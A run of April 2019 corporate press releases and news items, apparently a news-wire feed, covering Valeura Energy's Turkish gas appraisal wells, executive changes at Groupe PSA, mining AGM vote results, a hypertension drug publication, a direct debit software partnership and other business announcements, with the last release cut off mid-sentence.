vertically and laterally." Devepinar-1 The Devepinar-1 appraisal well was drilled safely to 4,796 metres, approximately 500 metres deeper than originally planned due to significant gas shows and faster drilling penetration rates. The top of the objective reservoir was encountered at 3,730 metres and the gross 1,066 metres of the Teslimkoy and Kesan Formations is interpreted to be gas-bearing down to the total depth of the well. During drilling operations, formation gas was circulated to surface and flared several times, and much of the deep drilling operation was conducted with mud weights in excess of 0.78 psi/ft to manage gas inflow. The well met all of its drilling objectives and most significantly, confirms the presence of over-pressured, gas-bearing reservoir at the western flank of the mapped BCGA fairway. The log data and the higher penetration rates both indicate that the porosity at Devepinar-1 is higher when compared to the Inanli-1 and Yamalik-1 wells at similar depths. These results greatly increase the Company's understanding of the lateral extent of the reservoir and occurrence of over-pressure related to the Company's basin-wide play mapping. The Devepinar-1 well has multiple zones of interest with the best zones of interest being located in the upper Kesan Formation, as they were in the previously drilled wells. High-grading of potential intervals of interest is now underway, in advance of developing a reservoir stimulation programme, jointly with the Company's partners. The well was operated by Valeura, with costs shared proportionately based on the working interest share of each partner (Valeura 31.5%). Despite the well being drilled deeper than anticipated, drilling and logging operations were conducted below budget. The well is currently being cased and will be left in a state ready for testing and completion. Inanli-1 The Inanli-1 completion programme commenced with a diagnostic fracture injectivity test ("DFIT") to confirm high downhole pressures interpreted from mud weights during drilling. This is a critical step to ensure, among other things, surface equipment for the completion programme is appropriately pressure-rated to ensure safe operations. The lowest DFIT at 4,813 metres confirms a pressure gradient of 0.809 psi/ft (significant over-pressure), in line with observations made at Yamalik-1. A second extended DFIT is currently being conducted on a specific completion zone to establish formation fracture stimulation parameters and pore pressure prior to commencing reservoir stimulation operations. In accordance with the DFIT results, suitable equipment rated for up to 15,000 psi has been sourced internationally and is being imported to Turkey. The Company anticipates all equipment will be on site for the first fracture stimulation operations later in May 2019. The overall goal of the Inanli-1 completion programme is to selectively test key intervals in the approximately 1,600 metre reservoir section and to provide definitive, longer term flow results for each interval. Given the significant vertical interval, the completion has been tailored to test the deepest naturally fractured intervals (initial zones to be completed) to the shallower sweet spots (later in the programme). The programme is designed to include up to 10 fracs in as many as five separate flow zones and will incorporate more sophisticated flow tracing and longer flow periods than the Yamalik-1 completion. In service of this longer test programme, the Company has constructed a pipeline to the location so that gas can be captured through Valeura's local infrastructure and sold to customers. The costs for the Inanli-1 stimulation and testing will be fully carried by Equinor and will complete their earning obligations under the Banarli farm in agreement. Near-term operations focus Valeura and Equinor have now built a strong understanding of the geology of the BCGA play and the presence of over-pressured gas, based on 11 vertical well penetrations, including Yamalik-1, Inanli-1, Devepinar-1, and eight other legacy wells. The two recent wells have both demonstrated that the over-pressured gas extends down to almost 5,000 metres and that seismic data can be used to help predict natural fracturing ahead of drilling. With a formidable body of new geologic knowledge, appraisal wells that are 20 kilometres apart, and up to a mile of vertical objective reservoir to evaluate, Valeura and Equinor believe the right next step is to focus operations on better understanding the rocks' flow characteristics with the objective to demonstrate commercial flow rates, rather than drilling another vertical well at this time. Accordingly, the KCA Deutag drilling rig will be released. Over the coming months, the completions of the Inanli-1 and Devepinar-1 wells will provide critical data on reservoir zones at varying depths, pressures, fracture density, hydrocarbon maturities and reservoir quality. These flow data will then be used to select the next drilling locations, and to determine whether there are zones that should be considered as early horizontal development well targets. About Valeura Energy Valeura Energy Inc. is a Canada-based public company engaged in the exploration, development and production of petroleum and natural gas in Turkey. Since Valeura was established in 2010, the Company has executed a number of transactions and currently holds interests in 20 production leases and exploration licences in the Thrace Basin of Turkey totalling 0.46 MM acres (gross) or on a net basis 0.37 MM acres of shallow rights and 0.26 MM net acres of deep rights. Valeura is appraising an unconventional basin-centered gas accumulation play in the Thrace Basin on its deep rights, whichhas been evaluated by DeGolyer and MacNaughton to hold, effective December 31, 2018, 10.1 Tcfe of estimated working interest unrisked mean prospective resources of natural gas, which includes 236 MMbbl of condensate. By applying 3D seismic, modern reservoir stimulation technology and horizontal and deeper vertical well drilling, Valeura is aiming to achieve commercial scale operations from this tight gas resource. In addition, the Company owns an extensive network of gas gathering and sales infrastructure to support direct marketing of natural gas to end users, and in 2018, produced an average of 4.3 MMcf/d of natural gas from conventional gas accumulations in its shallower rights. Additional information relating to Valeura is also available on SEDAR at www.sedar.com and on the Company's corporate website at www.valeuraenergy.com. For further information please contact: Valeura Energy Inc. (General and Investor Enquiries)+1 403 237 7102 Sean Guest, President and CEO Steve Bjornson, CFO Robin Martin, Investor Relations Manager Contact@valeuraenergy.com, IR@valeuraenergy.com GMP First Energy (Financial Adviser and Corporate Broker) +44 (0) 20 7448 0200 Jonathan Wright, Hugh Sanderson Canaccord Genuity Limited (Joint Corporate Broker) +44 (0) 20 7523 8000 Henry Fitzgerald-O'Connor, James Asensio CAMARCO (Public Relations, Media Adviser) +44 (0) 20 3757 4980 Owen Roberts, Billy Clegg, Monique Perks, Thayson Pinedo Valeura@camarco.co.uk Oil and Gas Advisories & Definitions Prospective resources are those quantities of petroleum estimated, as of a given date, to be potentially recoverable from undiscovered accumulations by application of future development projects. Prospective resources have both an associated chance of discovery and a chance of development. There is no certainty that any portion of the prospective resources will be discovered. If a discovery is made, there is no certainty that it will be developed or, if it is developed, there is no certainty as to the timing of such development or that it will be commercially viable to produce any portion of the prospective resources. Please see the Company's annual information form for the year ended December 31, 2018, which is available under Valeura's issuer profile on SEDAR at www.sedar.com, for more information with respect to the Company's prospective resources, including details regarding risked estimates. Forward-Looking Statements and Cautionary Statements This news release contains certain forward-looking statements and information (collectively referred to herein as " forward-looking information") including, but not limited to: the characteristics and objectives of the Inanli-1 completion programme; Valeura's intent to frac and production test the Inanli-1 well; the timing to commence fracking and testing operations; that Equinor will complete their earning obligations under the Banarli farm in agreement; the assessment of the resources in the test formations; the potential of the Company's unconventional basin-centered gas accumulation play in the Thrace Basin; and the Company's intention to achieve commercial scale operations. Forward-looking information typically contains statements with words such as "anticipate", estimate", "expect", "target", "potential", "could", "should", "would" or similar words suggesting future outcomes. The Company cautions readers and prospective investors in the Company's securities to not place undue reliance on forward-looking information, as by its nature, it is based on current expectations regarding future events that involve a number of assumptions, inherent risks and uncertainties, which could cause actual results to differ materially from those anticipated by the Company. Statements related to "prospective resources" are deemed forward-looking statements as they involve the implied assessment, based on certain estimates and assumptions, that the prospective resources can be profitably produced in the future. Specifically, forward-looking information contained herein regarding "prospective resources" include volumes of prospective resources and the ability to finance future development and, the conversion of a portion of prospective resources into reserves. Forward-looking information is based on management's current expectations and assumptions regarding, among other things: continued political stability of the areas in which the Company is operating; continued safety of operations and ability to proceed in a timely manner; continued operations of and approvals forthcoming from the Turkish government and regulators in a manner consistent with past conduct; future seismic and drilling activity on the expected timelines; the continued favourable pricing and operating netbacks in Turkey; future production rates and associated operating netbacks and cash flow; decline rates; future sources of funding; future economic conditions; future currency exchange rates; the ability to meet drilling deadlines and other requirements under licenses and leases; and the Company's continued ability to obtain and retain qualified staff and equipment in a timely and cost efficient manner. In addition, the Company's work programmes and budgets are in part based upon expected agreement among joint venture partners and associated exploration, development and marketing plans and anticipated costs and sales prices, which are subject to change based on, among other things, the actual results of drilling and related activity, availability of drilling, fracking and other specialised oilfield equipment and service providers, changes in partners' plans and unexpected delays and changes in market conditions. Although the Company believes the expectations and assumptions reflected in such forward-looking information are reasonable, they may prove to be incorrect. Forward-looking information involves significant known and unknown risks and uncertainties. Exploration, appraisal, and development of oil and natural gas reserves are speculative activities and involve a degree of risk. A number of factors could cause actual results to differ materially from those anticipated by the Company including, but not limited to: the risks of currency fluctuations; changes in gas prices and netbacks in Turkey; uncertainty regarding the contemplated timelines and costs for the deep evaluation; the risks of disruption to operations and access to worksites, threats to security and safety of personnel and potential property damage related to political issues or civil unrest in Turkey; potential changes in laws and regulations, the uncertainty regarding government and other approvals; counterparty risk; risks associated with weather delays and natural disasters; and the risk associated with international activity. The forward-looking information included in this news release is expressly qualified in its entirety by this cautionary statement. The forward-looking information included herein is made as of the date hereof and Valeura assumes no obligation to update or revise any forward-looking information to reflect new events or circumstances, except as required by law. See the AIF for a detailed discussion of the risk factors. Additional information relating to Valeura is also available on SEDAR at www.sedar.com . This announcement does not constitute an offer to sell or the solicitation of an offer to buy securities in any jurisdiction, including where such offer would be unlawful. This announcement is not for distribution or release, directly or indirectly, in or into the United States, Ireland, the Republic of South Africa or Japan or any other jurisdiction in which its publication or distribution would be unlawful. Neither the Toronto Stock Exchange nor its Regulation Services Provider (as that term is defined in the policies of the Toronto Stock Exchange) accepts responsibility for the adequacy or accuracy of this news release. This information is provided by RNS, the news service of the London Stock Exchange. RNS is approved by the Financial Conduct Authority to act as a Primary Information Provider in the United Kingdom. Terms and conditions relating to the use and distribution of this information may apply. For further information, please contact rns@lseg.com or visit www.rns.com. SOURCE: Valeura Energy Inc. View source version on accesswire.com:https://www.accesswire.com/543098/Valeura-Energy-Inc-Announces-Operations-Update Regulatory News: Groupe PSA (Paris:UG): Gilles Le Borgne, Executive Vice President Quality and Engineering has decided to leave Groupe PSA on May 2 for personal reasons. Carlos Tavares, Chairman of the Management Board of Groupe PSA, explains: "I want to highlight the commitment and contribution of Gilles Le Borgne, who has been able to drive his teams with rigor and professionalism in the execution of the vehicles and technological developments of the Push To Pass strategic plan. Following the departure of Gilles Le Borgne, the replacement plan of the company provides access to high-potential managers who have achieved results and proven their managerial capabilities. It's also an opportunity to position young talents in key positions in R&D." Gilles le Borgne is replaced by Nicolas Morel, currently Senior Vice President of Vehicles projects and Life Series, after having held important positions in various areas of vehicle engineering in Europe and China. Sebastien Jacquet, currently Senior Vice President Vehicle program, will replace Nicolas Morel in his role. Carla Gohin, currently Senior Vice Presidente Research and Advanced Engineering, is expanding her scope by becoming Chief Technology Officer, in an effort to strengthen the Group's future R&D focus on new technological stakes. About Groupe PSA Groupe PSA designs unique automotive experiences and delivers mobility solutions to meet all customer expectations. The Group has five car brands, Peugeot, Citroen, DS, Opel and Vauxhall and provides a wide array of mobility and smart services under the Free2Move brand. Its 'Push to Pass' strategic plan represents a first step towards the achievement of the Group's vision to be "a global carmaker with cutting-edge efficiency and a leading mobility provider sustaining lifetime customer relationships". An early innovator in the field of autonomous and connected cars, Groupe PSA is also involved in financing activities through Banque PSA Finance and in automotive equipment via Faurecia. Media library: medialibrary.groupe-psa.com @GroupePSA_EN Communications Division www.groupe-psa.com/en - +33 6 61 93 29 36 @GroupePSA_EN View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005133/en/ Contacts: Media contact: Pierre-Olivier Salmon + 33 6 76 86 45 48 pierreolivier.salmon@mpsa.com Arion Bank will publish its financial results for the first quarter of 2019 on Wednesday 8 May, after the markets have closed. Meeting / Webcast in English 9 May at 8:30 GMT (10:30 CET) Arion Bank will be hosting a meeting / webcast on Thursday 9 May at 8:30 GMT (10:30 CET) where CFO Stefan Petursson, Deputy CFO Eggert Teitsson and Head of Investor Relations Sture Stolen will present the results and answer questions from participants. The meeting will take place in English at the Bank's headquarters, Borgartun19, Reykjavik, and will be streamed live. Those attending the meeting in Borgartun 19 need to register here. To participate in the webcast via telephone and to put forward questions please call in using the relevant number indicated below before the start of the webcast: SE: +46 856 642 706 IS: +354 800 7508 UK: +44 33 3300 9260 US +1 83 3526 8347 The webcast will be accessible live on financialhearings.comand a link will also be made available on the Bank's website under Investor Relations. JOHANNESBURG, April 26, 2019 /PRNewswire/ -- On the 29th May 2019, IT News Africa is set to host the 4th annual Education Innovation Summit at the Hilton Hotel, Sandton. This year's conference will focus on the exploration of emerging educational technology trends and aim to provide solutions to technological challenges within education. Under the theme 'Preparing Africa for a tech-driven future' the summit will be interactive with in-depth discussions and case studies from local and international experts, policy makers, academics, service providers and Edu-Tech specialists- all sharing their expertise and experiences with emerging technologies in the education sector. The fourth industrial revolution is upon us and is set to radically transform the way we live and work. The digitization of information, unprecedented access to data, automation, artificial intelligence, robotics and the democratization of knowledge will impact every sector of our economy. As we are surely moving to a tech-driven economy, higher institutions must evolve in order to prepare our learners for the new careers that are being ushered in by these technologies. Key Topics: Key topics at this year's summit will include: Rethinking education and skills development in light of the 4th industrial revolution. The role of technology in promoting access to higher education for underrepresented student populations. Promoting diversity and inclusion in order to bridge the digital divide. Encouraging collaboration with the private sector in advancing innovation. Fostering entrepreneurship and creating cultures where innovative thinking is inspired. Addressing the challenge of keeping up with technology trends to enhance teaching, learning and institutional operations. Disruptive technologies in education: Legal and ethical considerations. Introducing new courses in higher education on emerging technologies to bridge the skills gap in the corporate space and government. Personalized learning strategies and data-driven student support systems. Opportunities and Challenges of AI in Education. Understanding the benefits of using IoT in education. Cyber security threats to education data systems. Addressing the risk of job losses through the use of robotics, AI and automation. Addressing the challenge of keeping up with technology trends to enhance teaching, learning and institutional operations. Disruptive technologies in education: Legal and ethical considerations. Join as an attendee: Join hundreds of academics, education solution providers, education experts and technology leaders - for a day of top-level content, case studies, live demos, and plenty of networking opportunities Join us as an exhibitor: Showcase your brand and present your education solutions to a select audience. Position your organisation at the forefront of Africa's Education revolution. Find new partnerships, investors, leads, and opportunities. Join as a speaker: Showcase your thought-leadership. Share your insights and experience. Shape solutions to critical challenges in Education. For more information regarding the summit, visit: http://www.educationinnovationsummit.co.za/ For sponsorships and exhibitions: http://www.educationinnovationsummit.co.za/sponsor/ Contact: +011-026-0981/2 [e]: events@itnewsafrica.com Photo: CTV News Communities across much of Eastern Canada are bracing for more flooding today, with rain in the forecast from central Ontario to northern New Brunswick. Officials in Quebec are keeping a close eye on a hydroelectric dam west that's at risk of failing, while Ottawa's mayor has declared an emergency and part of the Trans-Canada Highway has been closed in New Brunswick. The Chute-Bell dam west of Montreal has reached "millennial" water levels, meaning a flood that happens once every 1,000 years, but Hydro-Quebec says it's confident the structure is solid. Simon Racicot, the utility's director of production and maintenance, told reporters yesterday that "we are entering into an unknown zone right now completely unknown." Meantime, Ottawa has joined several smaller Ontario communities in declaring a state of emergency, with Mayor Jim Watson requesting help from the Canadian Forces. Farther east, New Brunswick's Department of Transportation said the Trans-Canada Highway was fully closed from Oromocto to River Glade, and could remain closed for several days. And there's not much relief in sight, with Environment Canada predicting rain for a large swath of Eastern Canada, from Georgian Bay to the Gaspe Peninsula. GENEVA, April 26, 2019 /PRNewswire/ -- The following open letter has been prepared for the Board of Directors of Credit Suisse AG by representatives of CS Victims, a group of clients who are the victims of crimes perpetrated over a number of years by a Client Relationship Manager at the bank: Dear Directors, By September 2015, you discovered that a Credit Suisse client relationship manager had defrauded customers and mismanaged their funds - including those belonging to our clients. In February 2019, this employee was convicted for embezzlement, a case which was widely reported on in the media. Since then, the Swiss Financial Market Supervisory Authority (FINMA) has highlighted organizational deficiencies in Credit Suisse's systems and controls that contributed directly to these issues, and appointed an independent supervisor to ensure the Bank makes the necessary changes. Your response to this, almost four year later, has not been to apologise for the fraud, but to actively obstruct our clients' attempts to gain lawful redress. Our clients entrusted their investments to Credit Suisse because of the Bank's 150-year history and apparently honorable reputation; they believed their money would be safe, that experts at Credit Suisse would ensue their investments would be professionally managed, and their families' future would be secure. They did not believe customer assets would be stolen and mismanaged, or that they would have to fight Credit Suisse for the truth behind how fraud of this magnitude was able to take place over almost ten years. Since the discovery of the fraud, Credit Suisse has worked against our clients' efforts to understand how the crimes were perpetrated and what happened to their assets. As a start, our clients would like answers to the following questions: Why did Credit Suisse's systems and controls not prevent the fraud? How were Credit Suisse personnel able to bypass whatever risk management and compliance policies you did have in place? What were the results of Credit Suisse's internal investigation into the fraud? Why have these not been shared with affected customers? What did FINMA's investigation reveal about the supervision of the employee and Credit Suisse's systems and controls? Why have you refused to let affected customers know the details of the regulator's findings? When will Credit Suisse pay back the full amount of stolen funds to our clients? What measures have been taken by Credit Suisse to ensure this will never happen again? Our clients are blameless for this fraud and have been waiting for over three years for answers. They deserve clarification, which we believe is in the public interest and that of your shareholders and customers. We urge you, as their Board of Directors, to start being honest and transparent about what happened. The relationship between a bank and its clients is based on trust, our clients have lost trust in Credit Suisse. It is up to you to take decisive action to restore it without further delay. Yours sincerely, Representatives for the victims For more information, please visit www.csvictims.com or contact info@csvictims.com. MetalNRG Plc - Notice of GM THIS ANNOUNCEMENT AND THE INFORMATION CONTAINED HEREIN IS RESTRICTED AND NOT FOR RELEASE, PUBLICATION OR DISTRIBUTION, IN WHOLE OR IN PART, DIRECTLY OR INDIRECTLY, IN OR INTO THE UNITED STATES OR ANY OTHER JURISDICTION IN WHICH THE RELEASE, PUBLICATION OR DISTRIBUTION WOULD BE UNLAWFUL. This announcement is for information purposes only and is not a prospectus and not an offer of securities for sale in any jurisdiction, including in the United States, Australia, Canada, Japan and South Africa. 26thApril 2019 MetalNRG PLC (The "Company" or "MetalNRG") Notice of General Meeting MetalNRG PLC (NEX:MNRG) announces that it has issued a Notice of General Meeting (the "GM Notice") to be held at 3.00 pm on 15thMay 2019 at the offices of City Group PLC, 1 Ely Place, London EC1N 6RY. The GM Notice has been posted to shareholders and will shortly be available on the Company's website at https://www.metalnrg.com/. The General Meeting is to be held for the purposes of considering and approving resolutions which will give the Directors a new authority to issue new ordinary shares and also a new authority to allot ordinary shares or grant rights over ordinary shares where they propose to do so for cash and outside the right of pre-emption. Further information relating to the General Meeting is set out in the GM Notice. EXPECTED TIMETABLE OF EVENTS Announcement of Notice of General Meeting 7.00 a.m. on 26th April 2019 Publication and posting of the Notice of General Meeting 26th April 2019 Latest time and date for receipt of completed Forms of Proxy for the General Meeting 3.00 p.m. 13th May 2019 General Meeting 3.00 p.m. on 15th May 2019 Announcement of the result of the General Meeting and Open Offer 15th May 2019 Certain information contained in this announcement may have been deemed inside information for the purposes of Articles 7 of Regulation (EU) No 596/2014 until the release of this announcement. Rolf Gerritsen, CEO of MetalNRG, arranged for the release of this announcement. The directors of the Company accept responsibility for the contents of this announcement. For further information, please contact: VANCOUVER, British Columbia, April 26, 2019 /PRNewswire/ -- Capstone Mining Corp. ("Capstone" or the "Company") (TSX: CS) announced the voting results from its 2019 Annual General Meeting ("AGM") held April 25, 2019 in Vancouver, British Columbia. A total of 229,082,127 common shares were voted at the meeting, representing 57.33% of the votes attached to all outstanding common shares. Shareholders voted in favour of all items of business before the meeting, as follows: Number of Directors % For % Against Number of Directors to be set at seven 99.74% 0.26% Election of Directors % of Votes For % of Votes Withheld George L. Brack 98.85% 1.15% Robert J. Gallagher 99.39% 0.61% Peter G. Meredith 98.60% 1.40% Yong Jun Park 99.47% 0.53% Dale C. Peniuk 98.80% 1.20% Darren M. Pylot 99.48% 0.52% Richard N. Zimmer 92.42% 7.58% Appointment of Auditors % For % Withheld To appoint Deloitte LLP as Auditors of the Company for the ensuing year and to authorize the Directors to fix their remuneration 82.12% 17.88% Advisory Vote on Executive Compensation % For % Against To pass an advisory vote on Capstone's approach to executive compensation 97.80% 2.20% Detailed voting results for the 2019 AGM are available on SEDAR at http://www.sedar.com. "We would like to welcome Peter Meredith to the Board," said Darren Pylot, President and CEO. "On behalf of the shareholders, the Board wishes to thank Jill Gardiner and Kalidas Madhavpeddi for their service as directors and for the dedication, commitment and valuable insights they provided to the Board leading the Human Resource & Compensation and Corporate Governance & Nominating Committees." Peter Meredith is a corporate director and currently serves on the boards of Ivanhoe Mines Ltd. and Cordoba Minerals Corp. and serves as Chairman of the Board of Great Canadian Gaming Corporation. Previously, Mr. Meredith served as a director of Turquoise Hill Resources Ltd. (formerly the original Ivanhoe Mines), Kaizen Discovery Inc., SouthGobi Resources Ltd. and Peregrine Diamonds Ltd. Mr. Meredith served as Deputy Chairman and Chief Financial Officer of Turquoise Hill Resources Ltd. Prior to joining Ivanhoe Mines Ltd., Mr. Meredith spent thirty-one years with Deloitte LLP, Chartered Professional Accountants, and retired as a partner in 1996. Mr. Meredith is a Chartered Professional Accountant, (CPA, CA) and is a member of the Chartered Professional Accountants of British Columbia and the Chartered Professional Accountants of Ontario. About Capstone Mining Corp. Capstone Mining Corp. is a Canadian base metals mining company, focused on copper. We are committed to the responsible development of our assets and the environments in which we operate. Our two producing mines are the Pinto Valley copper mine located in Arizona, US and the Cozamin polymetallic mine in Zacatecas State, Mexico. In addition, Capstone has the large scale 70% owned copper-iron Santo Domingo development project in Region III, Chile in partnership with Korea Resources Corporation, the Minto copper mine in Yukon, Canada currently on care and maintenance, as well as a portfolio of exploration properties. Capstone's strategy is to focus on the optimization of operations and assets in politically stable, mining-friendly regions, centred in the Americas. Our headquarters are in Vancouver, Canada and we are listed on the Toronto Stock Exchange (TSX). Further information is available at http://www.capstonemining.com. Contact: Paul Jones VP, Business Development and Investor Relations +1-604-674-0891 pjones@capstonemining.com Quantum Genomics (Euronext Growth - FR0011648971 - ALQGC), a biopharmaceutical company specializing in the development of a new drug class that directly targets the brain to treat resistant hypertension and heart failure, announces the publication of the full results from its Phase IIb NEW-HOPE study in Circulation, a major peer-reviewed journal of the American Heart Association. The article, co-authored by Keith C. Ferdinand, Fabrice Balavoine, Bruno Besse, Henry R. Black, Stephanie Desbrandes, Howard C. Dittrich and Shawna D. Nesbitt on behalf of the NEW-HOPE Investigators, is entitled "Efficacy and Safety of Firibastat, a First-in-Class Brain Aminopeptidase A Inhibitor, in Hypertensive Overweight Patients of Multiple Ethnic Origins: A Phase 2, Open-Label, Multicenter, Dose-Titrating Study". The full article has been published online ahead of print and is available on Circulation website (DOI: 10.1161/CIRCULATIONAHA.119.040070). The data reported in this article provide strong evidence of the efficacy of firibastat to decrease blood pressure in a high-risk diverse population with a known reduced response to systemic renin-angiotensin system blockers, such as ACE inhibitors or AT1 receptor blockers. The results support further investigation of firibastat in subjects with difficult-to-treat or resistant hypertension. "Together with the NEW-HOPE Steering Committee, we are very proud of this publication," said Dr. Bruno Besse, Chief Medical Officer of Quantum Genomics. "Having these impactful results both presented orally in a late-breaking session at the 2018 Scientific Sessions of the American Heart Association and published in the prestigious Circulation journal is a great recognition of the promise of firibastat, which is the first representative of a new class of drugs with a unique mode of action to address unmet needs in difficult-to-treat hypertension. This publication is very encouraging as we continue to focus on the pivotal Phase III trial preparation." About Quantum Genomics Quantum Genomics is a biopharmaceutical company specializing in the development of a new class of cardiovascular medications based on brain aminopeptidase A inhibition (BAPAI). Quantum Genomics is the only company in the world exploring this innovative approach that directly targets the brain. The company relies on 20 years of academic research from the Paris-Descartes University and the laboratory directed by Dr. Catherine Llorens-Cortes at the College de France (French National Institute of Health and Medical Research (INSERM)/ the Scientific Centre for National Research (CNRS)). The goal of Quantum Genomics is to develop innovative treatments for complicated, or even resistant, cases of hypertension (around 30% of patients have poor control of their condition or receive ineffective treatment) and for heart failure (one in two patients diagnosed with severe heart failure dies within five years). Based in Paris and New York, Quantum Genomics is listed on the Euronext Growth exchange in Paris (FR0011648971- ALQGC) and trades on the OTCQX Best Market in the United States (symbol: QNNTF). For more information, please visit www.quantum-genomics.com, or follow us on Twitter and LinkedIn Contact information Quantum Genomics Jean-Philippe Milon CEO +33 (0)1 85 34 77 70 | jean-philippe.milon@quantum-genomics.com Marc Karako CFO - Investor Relations +33 (0)1 85 34 77 70 | marc.karako@quantum-genomics.com So Bang (Europe) Nathalie Boumendil Financial Communications +33 (0)6 85 82 41 95 | nathalie@so-bang.fr Samuel Beaupain Media Relations and Scientific Communications +33 (0)6 88 48 48 02 | samuel@so-bang.fr LifeSci (USA) Dan Ferry Financial Communications +1 (617) 535-7746|Daniel@lifesciadvisors.com Michael Tattory Media Relations and Scientific Communications +1 (646) 751-4362 | mtattory@lifescipublicrelations.com ------------------------ Copyright Actusnews Wire Recevez gratuitement par email les prochains communiques de la societe en vous inscrivant sur www.actusnews.com Communique integral et original au format PDF:Telecharger le PDF GUILDFORD, ENGLAND / ACCESSWIRE / April 26, 2019 / Silverbear, the UK's membership CRM specialist, and Clear Direct Debit, a BACS approved bureau and training provider, have joined forces in a move that is expected to radically transform the way Direct Debits are collected by membership, not-for-profit and fundraising-led organisations. Currently, organisations that collect payments from members using manual or semi-manual methods may be exposed to human error, data security issues and overly dependent on only a handful of individuals to process payments. Legacy Direct Debit systems require manual files to be stored locally and are often held on laptops or emailed internally, which can lead to bank details being taken offsite and exposed to risk. The partnership will enable customers of Silverbear's flagship product, 'Silverbear Membership', which include Royal College of Nurses, Royal Academy of Dance and Royal Horticultural Society, to collect payments from members using a fully automated and secure cloud-based platform without manual intervention. The strategic venture follows the recent acquisition of both companies by ClearCourse Partnership LLP, a business formed of innovative technology companies that provide membership software to groups, organisations and small businesses. Gavin Lawrence, Managing Director of Clear Direct Debit, comments: "Payment processing in many organisations is still largely based on the manual movement of local data, such as exporting and importing files containing sensitive information, the consequences of which can be significant. We've seen one non-profit organisation collect a hundred times the subscription fee of thousands of its members by mistake simply because of a file formatting issue. Whilst errors of this magnitude aren't common, other smaller mistakes are. Our partnership with Silverbear will help make organisations become more resilient and help them address data security issues in a more robust and meaningful way." General Data Protection Regulation, PSD2 (the revised Payment Service Directive) and ever-changing Direct Debit rules pose challenges for all organisations that process payments. Those failing to address them risk breaking the law and leaving their customers open to data breaches. Carl Grieves, Chief Executive at Silverbear, adds: "Whether it's unsecured data, file formatting issues or human error, Direct Debit mistakes can prove costly at an economic and reputational level. Through our partnership with Clear Direct Debit, and as a direct result of the synergies presented following both companies' acquisition by ClearCourse Partnership, we've created a secure Direct Debit automation service that can be managed through a fully integrated approach with the click of a button. This is a huge step forward for Silverbear's growing customer base and we're proud to be pioneering this new approach." Silverbear and Clear Direct Debit will officially unveil the latest addition to the Silverbear Membership platform at Membership Excellence 2019, the UK's largest membership-focused national conference for membership organisations and associations, which takes place at Novotel London West on Thursday 2 May. For more information on Silverbear and Clear Direct Debit visit www.silverbear.com and www.cleardirectdebit.co.uk respectively. For more information on ClearCourse Partnership LLP visit www.clearcoursellp.com. Notes to editors Media caption 1: Silverbear's CEO, Carl Grieves, says the partnership will transform the way Direct Debits are collected by membership-based organisations Media caption 1: Gavin Lawrence, Managing Director at Clear Direct Debit, which has joined forces with Silverbear Media enquiries For more information please contact Stuart Pearson at The PR Farm on 01483 343636 / 07812 086211 or at stuart@theprfarm.com. About Silverbear Silverbear's expertise lies in integrating the channels and technology, such as Microsoft Dynamics Social Engagement and Microsoft Dynamics Flow, which enable membership organisations to effectively communicate with their members. Built on Microsoft Dynamics 365, Silverbear's solutions enable its clients to enjoy an open, secure, familiar and scalable IT platform that can integrate into pretty much all areas of a business operation; now and in the future. They also facilitate greater membership interaction, which leads to greater membership insight. Silverbear is now a thriving, award-winning solution provider, which is 100% focused on meeting the challenges of the membership and trade association industries. About Clear Direct Debit Clear Direct Debit is a Bacs accredited training provider, Bacs approved bureau and an independent Bacs consultancy. It is the only Direct Debit collection solution in the UK to start as a Bacs accredited training provider and has helped thousands of individuals and organisations - from charities and associations to SMEs and multinational corporates - to save money, avoid Direct Debit payment related issues and become compliant with the Bacs Direct Debit Scheme Rules. About Clear Course Partnership Clear Course Partnership is a partnership of innovative technology companies providing membership software to groups, organisations and small businesses. Its companies help their customers to manage their members and clients, administer their business workflow and to automate their payment processes seamlessly. Backed by Aquiline Capital Partners, a New York and London-based private equity firm, its experienced team is focused on creating an environment for talented entrepreneurs and their businesses to thrive with: access to capital funding, accelerating growth through sales, marketing and other expansion initiatives; considerable expertise in software and payments; retention of existing leadership teams; best practice collaboration across its partner platform. SOURCE: Silverbear View source version on accesswire.com:https://www.accesswire.com/543106/Partnership-Set-To-Revolutionise-Direct-Debit-Payments-For-Membership-Organisations New York, New York and Toronto, Ontario--(Newsfile Corp. - April 26, 2019) - NexTech AR Solutions (OTCQB: NEXCF) (CSE: NTAR) (FSE: N29) (the "Company" or "NexTech") today announced it has entered into a reseller agreement with Foottraffik, a dispensary marketing software and full service agency for the cannabis industry. The reseller agreement will enable Foottraffik to market NexTech's innovative AR eCommerce solutions to its roster of more than 125 cannabis dispensary clients including Clear Choice, Remedy, Have a Heart, The Higher Path and others. "We are very excited to announce that two of the most innovative cannabis tech companies have united to bring forth the future of technology to the global cannabis market," said Guillermo Bravo, CEO of Foottraffik. "Digital marketing, augmented reality, and artificial intelligence are the trifecta in the new era of cannabis. We are pleased to unite NexTechAR & Foottraffik in a partnership that will augment the reality of the cannabis industry through innovative technology and immersive consumer experiences." Foottraffik will resell NexTech's AR Dispensary eCommerce platform, its 3D advertising capabilities, and its virtual "AR showrooms." AR Dispensary utilizes immersive AR technology and rich 3D 360-degree photography to provide an eCommerce experience unparalleled in the legal cannabis industry. The white-label web-based AR solution, integrated into a dispensary's website seamlessly through just a snippet of code, allows consumers to preview products like flowers, gear, pre-rolls, and more from home or on-the-go. The platform can also support features for online ordering/pickup, and online ordering/delivery (where permitted), creating a complete digital dispensary experience. "We are pleased to announce this strategic partnership with Foottraffik and to continue our penetration of the burgeoning legal cannabis industry by offering the most complete end-to-end AR solutions on the market," said Evan Gappelberg, CEO of NexTech. "We believe the combination of Foottraffik's industry expertise and vast client network provides an optimal vehicle for distribution of our technology on a broader scale, while empowering dispensaries to increase sales and provide a more complete customer experience. " With spending on legal cannabis worldwide expected to reach $57 billion by 2027, according to Arcview Market Research and BDS Analytics, on-demand, interactive AR experiences are the next step towards improving customers' path to purchase. This partnership continues NexTech's penetration into the burgeoning market, following the release of its AR Dispensary platform in March 2019, and its deal with Cannvas Medtech Inc., a leading digital cannabis education and business technology company, in January 2019. About NexTech AR Solutions Corp. NexTech is bringing a next-generation web enabled augmented reality (AR) platform with Artificial Intelligence (AI) and analytics to the Cannabis industry, eCommerce, education, training, healthcare and video conferencing. Having integrated with Shopify, Magento and Wordpress, its technology offers eCommerce sites a universal 3D shopping solution. With just a few lines of embed code, the company's patent-pending platform offers the most technologically advanced 3D AR/AI technology anywhere. Online retailers can subscribe to NexTech's state-of-the-art, 3D AR/AI solution for $79/mo. The company has created the AR industry's first end-to-end affordable, intelligent, frictionless, scalable platform. To learn more, please follow us on Twitter, YouTube, Instagram, LinkedIn, and Facebook, or visit our website: 